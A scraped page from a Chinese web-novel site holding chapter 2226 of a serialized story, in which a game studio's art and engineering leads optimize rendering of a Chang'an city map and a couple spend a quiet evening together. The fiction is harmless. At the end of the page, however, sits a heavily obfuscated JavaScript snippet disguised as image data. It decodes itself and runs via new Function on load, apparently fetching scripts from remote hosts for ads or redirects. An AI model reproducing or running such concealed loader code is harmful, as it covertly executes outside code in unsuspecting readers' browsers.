首页
[切换至繁体版]
返回

第2226章 画面崩塌与连夜重构2

章节报错(免登陆)

新笔趣阁(52xbq.com)更新快,无弹窗!

    第2226章画面崩塌与连夜重构2(第1/2页)
    第二天上午,梁永琪把陈浩的方案原封不动地转达给了周璟和李轩。
    她把两个人分别叫到办公室谈的,先叫的周璟,后叫的李轩。
    跟周璟说的时候她把白板照片调出来给他看,用手指着那个小圆和波浪线解释了一遍原理,周璟一边听一边点头,眉头皱着的形状从紧到慢慢松开。
    跟李轩说的时候她没说那么细,只把核心思路讲了一下,李轩听了一半就明白了后面的逻辑,直接从口袋里掏出记事本画了个简图回传给技术组群。
    她没有要求他们合作,让他们分开试,各做各的版本。
    她给两个人各批了两天时间,让他们把手头其他事情往后推一推,专门做这一版优化测试。
    周璟回去之后带着美术组那五个人把长安城的地图重新拆了一遍。
    他们用了整整一个上午在会议室的白板上画层次分解图,把建筑和地面分出了五个层次——近景地面层、近景建筑层、中景过渡层、远景建筑层、天空背景层。
    五个层次像五张透明的塑料片叠在一起,越靠近玩家的层放在最上面,越远的放在最下面。
    前两层保持原有的贴图精度不变,该是多少乘多少就是多少乘多少,周璟坚持不砍这两个层的精度,说是美术的底线。
    中间那层砍掉一半的细节,把那些不太会近距离看到的装饰花纹压缩了一下贴图尺寸。
    最后两层全部换成静态贴图,画好之后存成固定图片,不做任何实时刷新渲染。
    分层完成之后他们找了一个实习生坐在低配机前面跑测试,跑了三遍,帧数从之前的七八帧稳定升到了十二帧,偶尔跳到十三,但最低也没有跌破十。
    周璟站在实习生背后看了很久,盯着帧数跳动的数字,最后伸手拍了拍实习生的肩膀说行了不用跑了。
    李轩那边的技术组做的方向跟周璟一样但路径完全不同。
    他没有动贴图的精度,周璟画了多少分辨率的纹理他就原样用多少分辨率的纹理,他甚至没有让美术组配合他改任何资源文件。
    他带着两个程序员蹲在技术组的隔间里改了三天渲染队列的调度逻辑,把原本一整张地图所有物体都排队渲染的方式改成了一个动态裁剪方案,在画面生成的时候只渲染玩家角色周围半径固定范围内的物体,半径之外的物体全部用一张预生成的缩略图替代,缩略图里存的是那个物体的颜色平均值和轮廓信息,贴上去之后远看跟原物差不多,但只有几十分之一的渲染负载。
    他在自己的测试机上跑完第一版之后帧数直接飙到了十五帧,他又让组里另外一个人拿了一台更旧的备用机再测了一遍,那台机器比低配机还低一个档次的配置,跑出来也有十三帧。
    两个人几乎同时给梁永琪打了电话。
    周璟先打来的,电话接通之后他说话的声音比前一天高了半个调,像胸腔里压着什么鼓起来的东西,那个东西终于找到了一个出口往外冒。
    “梁总,方案能用。
    帧数翻了一倍多,十二帧稳住了,偶尔能跳到十三。
    画面几乎没有肉眼可见的损失,远景那张静态贴图跟近景的实时画面接缝的地方我调了一下过渡色,把静态贴图的边缘做了模糊处理,跟实时画面的边缘混在一起不仔细看根本看不出来。”
    他挂了电话大概三分钟之后李轩的电话也进来了。
    李轩那边背景音里没有键盘声了,安静得像换了个地方打的。
    “我的版本跑到十五帧。
    画面损失在百分之五以内,主要是远景缩略图跟原图之间的色差有一点,其他部分基本看不出区别。
    优化方案可行,可以往下推。”
    梁永琪挂了两个电话之后在办公室里站了一会儿,没有坐下来。
    她把手撑在办公桌的桌面上,低头看着摊开的那份打印出来的地图设计文档,封面上的“长安城”三个字被台灯光照得微微反光,那两个印刷体字在灯光下面显出纸面纤维的纹理。
    她拿起手机给陈浩发了一条消息:“两边都跑通了。
    你那个分层方案,两边都说是能用。”她打完了这句话又看了一遍,在发送之前加了一个感叹号在后面,想了想又把感叹号删了,换成句号发了出去。
    陈浩的回复是一句简单的文字:“那就好。”
    那天傍晚,开发部的开放式工位上灯还全亮着。
    李轩和周璟难得同时站在同一台显示器前面,显示器旁边围了三四个人,有美术组的也有技术组的,都凑过来看跑起来的效果。
    那台显示器上正在跑长安城的优化版地图,周璟的美术版本跑了三分钟,然后切到李轩的技术版本再跑三分钟,两个版本轮流播。
    画面的右上角显示着实时帧数——二十帧上下浮动,在角色跑动的时候偶尔会掉到十八帧,但再也没有跌到个位数了。
    画面上的石板路纹理依然清晰,建筑屋檐的曲线保持着原本的弧度,那些斗拱和柱头的位置没有一点压缩导致的变形,远处城门的轮廓在静态贴图的处理下看起来跟原来几乎一模一样,只有在角色快速转头的时候才能察觉到城门那块的画面刷新比近处慢了一点点,像隔着一层毛玻璃看东西,但转头的速度一慢下来那个差别就消失了。
    李轩盯着屏幕上的帧数看了几秒,侧头对旁边那个戴着棒球帽的程序员说了一句话。
    他的声音不大,但周围三米之内的人都能听清:“那个叫浩哥的人,脑子到底是怎么长的?”他说这话的时候语气里没有酸味儿,就是纯粹的、带着点佩服的疑惑,像在问一个解不出来的谜题。
    棒球帽程序员咧嘴笑了一下:“我不知道他怎么长的,我只知道他这个方案让我们少加了七天班。
    我媳妇上周还跟我生气说我天天十一点才到家,昨天我八点半就回去了,她以为我失业了。”
    周围几个人笑起来。
    周璟站在旁边也笑了一下,他笑起来的时候肩膀松弛了许多,跟白天来交硬盘时那个紧绷的状态判若两人。
    他拍了拍李轩的后背说了句“今晚我请吃宵夜”,李轩回头看了他一眼说“你那点工资省着点花吧”。
    (本章未完,请点击下一页继续阅读)第2226章画面崩塌与连夜重构2(第2/2页)
    晚上梁永琪回陈园吃晚饭。
    餐厅的灯开着,桌面上摆着三菜一汤,都是很普通的家常菜。
    陈浩坐在对面,面前放着一碗米饭,筷子上夹了一根青菜正往嘴里送。
    梁永琪也夹了一筷子菜放进嘴里嚼着,她吃得不快,慢慢嚼着,等嘴里的食物咽下去之后她放下筷子,看着对面的陈浩。
    “浩哥,今天下午李轩当着技术组几个人的面说了一句——‘那个叫浩哥的人,脑子到底是怎么长的。
    ’”她学着李轩说话的语气,语速放慢了半拍,尾音微微往下坠,学完了之后自己先忍不住弯了一下嘴角,“他说这话的时候表情特别认真,不像夸人也不像损人,就真的只是好奇。”
    陈浩正低头喝汤。
    他听完这句话把碗放下来,慢悠悠地拿起餐巾纸擦了擦嘴角,动作不急不缓,像在等那句话的余音在空气里落稳了才开口。
    “你下次告诉他,我脑子长得跟普通人一样,就是比你多绕了几道弯。”他说这话的时候脸上没什么表情,但眼睛里有那么一点亮光在转动,就像某个小灯泡刚刚被拧开了一下又拧回去了。
    梁永琪把这句话在脑子里过了一遍,觉得这个回答挺有意思的。
    她伸手拿起放在桌角的手机,点亮屏幕打开了跟李轩的聊天窗口,她的拇指悬在输入框上面停了两秒,指尖在屏幕上方微微一颤。
    她在想怎么把这句话转述过去,打成文字发过去还是录一段语音,又想着如果真发过去了李轩会怎么回复。
    想了大概两秒之后她按了返回键,锁了屏,把手机放回桌角。
    她没有发出去。
    陈浩注意到了她解锁手机又锁屏的那一串动作,但他没有问她在看什么。
    他重新端起汤碗继续喝汤,碗沿抬起来遮住了他的下半张脸,只露出眉眼那一片。
    梁永琪看着他那层被碗沿挡住的嘴角的方向,虽然碗挡着看不见,但她知道他嘴角的弧度应该是往上的,那个弧度她见过很多次了,每次他觉得自己说了句挺得意的话但又不打算说出来的时候,那个弧度就会出现在他嘴角的位置上。
    饭后陈浩进了书房。
    他把桌面的剧本翻开到夹了书签的那一页,靠在椅背里开始看,看得很安静,翻页的速度不快不慢,偶尔用笔在某一行的旁边画一条短横线做记号。
    梁永琪没有像以前一样跟着进去坐在书桌对面,她今天拐进了书房旁边的会客区,在那张深色的皮沙发上躺下来,沙发够长够宽,她侧躺上去绰绰有余。
    她从包里抽出一份打印好的项目进度表摊在膝盖上,进度表打印出来的时候折了三折,她沿着原来的折痕把纸重新展平,按了按边缘让它服帖地铺在腿上。
    进度表上排着十几行条目,每行条目后面跟着一个进度条,有的填了一半,有的填了三分之一,还有两三行条目后面是一个空的进度条,还没有被人点开过。
    她从外套口袋里摸出一支削好的铅笔,在第一行“长安城分层渲染”的条目后面的进度条上又填了一小段格子,铅笔在纸上画出均匀的斜线,然后把原来写在上面的那个“80%”划掉,在它旁边写了一个新的数字。
    她在那一小段格子旁边写了两个字:“完成”。
    写完之后她把铅笔夹在指尖慢慢转了半圈。
    书房的台灯光从陈浩的桌面方向倾泻过来,在会客区的地板上铺了一片扇形的暖色区域。
    梁永琪的沙发不在那道光域的正中心,光线只够照亮她膝盖上那页纸的上半部分,下半部分的字迹隐在沙发的阴影里看不清楚。
    她没有调整坐姿去够那道光,就着那片有限的亮度继续往下看进度表,铅笔在她指间慢慢转着,偶尔停下来在某一行的位置点一下,像是在做心理标记。
    陈浩翻了一页剧本,纸页翻动的声音在安静的书房里传得特别清楚。
    那种沙沙的声响很轻,但因为在格外安静的空气里,就像一小块石头丢进水面一样荡开了。
    梁永琪听见那个声音抬起头,目光从进度表上移开,越过书桌的桌沿和台灯之间的缝隙看到了他的侧脸。
    他低着头,目光在纸页上移动,左手搭在桌面上,食指的指腹在某一行的位置停了一下,那个停顿大概持续了两三秒,然后食指继续往下移,移到下一行的时候又在那个位置停了一下,像在反复确认某些词句的位置。
    她低头继续看进度表。
    铅笔在纸面上划出一道浅浅的线,标注了下一阶段的预计起止时间。
    她划完那道线之后把铅笔夹进纸页的折缝里当书签用,然后把进度表沿着原来的折痕重新折好,放在沙发扶手上。
    她往沙发里缩了缩身体,侧躺下来把脸枕在靠垫上,闭了一下眼。
    靠垫的布料磨擦着她的脸颊,是那种细细的棉麻质感,有一点糙但很舒服。
    她睁眼的时候发现陈浩正在看她。
    他不知道什么时候把剧本放下了,椅背也推直了,身体微微侧着,视线从桌面的边缘上方越过,落在她侧躺着的那个方向。
    他的目光在她脸上停了两三秒,就那么看着,没有什么额外的表情,也没有急着移开。
    然后他低下头重新翻开剧本继续看,什么也没说,就像那段对视没有发生过一样。
    梁永琪重新闭上眼。
    她的呼吸在那一刻比刚才浅了一些,胸口起伏的幅度小了,但很快就恢复了。
    书房里只剩下翻页的沙沙声、铅笔偶尔滚过纸面的短促响动、和两个人各自的呼吸在安静的空气里一前一后地交错着,有时候她的呼吸和他在同一个节拍上,有时候错开半拍,交替着填满那些没有人说话的间隙。
    那些声音轻而细,像在房间的底层铺了一层均匀的、柔和的底色,不吵人,不压人,就那么存在着,像一床盖在声音上面的薄被,让人觉得在这里面待多久都不想起身。
    【跪求礼物,免费的为爱发电也行!】
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();